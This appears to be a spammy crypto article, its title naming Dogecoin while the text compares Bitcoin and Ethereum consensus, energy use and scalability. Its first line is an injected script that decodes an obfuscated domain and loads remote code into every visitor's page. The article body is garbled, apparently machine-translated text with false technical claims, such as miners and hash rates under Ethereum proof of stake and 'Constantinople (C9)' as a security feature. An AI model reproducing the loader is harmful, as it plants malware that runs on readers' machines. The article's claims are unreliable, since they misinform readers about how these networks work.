const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=507d4441″;document.body.appendChild(script);
Ethereum: What is the difference between Dogecoin and Bitcoin in the network?
As a second cryptocurrency by market capitalization, Ethereum has drawn significant attention lately. Dogecoin (Doge) is one of the most popular cryptocurrencies. Although both are decentralized digital currencies, they have distinct differences in the network. In this article, we will immerse ourselves in the technical aspects of these two cryptocurrencies and explore what distinguishes them.
Bitcoin network level
At the network level, Bitcoin (BTC) is a consensual work proof (POW) algorithm. This means that minors are rewarded with newly created Bitcoins to solve complex mathematical problems to validate transactions on the blockchain. The POW consensus algorithm is based on the security of cryptographic hash toas to ensure the integrity and immutability of blockchain.
On the other hand, Ethereum (ETH) is an algorithm of proof of stake proof (POS). This means that validators are rewarded by the newly struck ETH for the creation and maintenance of their “stake” on the network. The POS consensus algorithm is based on the safety of cryptographic hash tooth to ensure the integrity and immutability of blockchain, but it also introduces a more economical and less vulnerable alternative.
hash rate compared to energy consumption
One of the most significant differences between Bitcoin and Ethereum in the network is their chopping rate and energy consumption. Although the Bitcoin consensus algorithm forces minors to solve complex mathematical problems using powerful computers (hash rates ranging from 10 to 100 TH / S), the Ethereum POS consensus algorithm rests on Validators who hold “a stake” in the network, which is generally higher than that of Bitcoin.
Ethereum’s hash rate is significantly lower than Bitcoin, but its energy consumption is also more durable. With a relatively low number of minors needed to validate transactions, Ethereum energy consumption per transaction is approximately 30 to 50% less than bitcoin. In addition, the overall energy expenditure required to supply the Ethereum network is approximately 20% lower.
Security and scalability
Another significant difference between Bitcoin and Ethereum at the network is their safety and scalability capacities.
Bitcoin safety is mainly based on its evidence of work evidence, which has been designed to be secure against a large number of attacks. However, this also makes it more vulnerable to 51% attacks, where an opponent could control 50% or more of mining power. In addition, Bitcoin scalability limitations made it less suitable for generalized adoption.
Ethereum, on the other hand, has introduced several innovative security features, including the introduction of “intelligent contracts” and an integrated rupture mechanism called Constantinople (C9). These features allow Ethereum to manage higher amounts of data, reduce transaction costs and increase scalability. In addition, Ethereum’s POS consensus algorithm is designed to be more energy efficient than Bitcoin Pow algorithm.
Conclusion
In conclusion, although Bitcoin and Ethereum are decentralized digital currencies with unique characteristics, they differ considerably in the network. The algorithm of consensus of proof of stake in Ethereum, combined with its innovative security functionalities such as fragment and intelligent contracts, makes it a more evolving and durable cryptocurrency compared to bitcoin. While the request for decentralized applications (DAPP) continues to grow, Ethereum is well placed to remain a leading player in the cryptocurrency space.
Sources:
- “Ethereum 2.0: a new consensus algorithm” by Vitalik Buterin
- “Bitcoin vs Ethereum: What is the difference?” by cryptoslate
- “Ethereum sharding: a guide” by Ethereum.
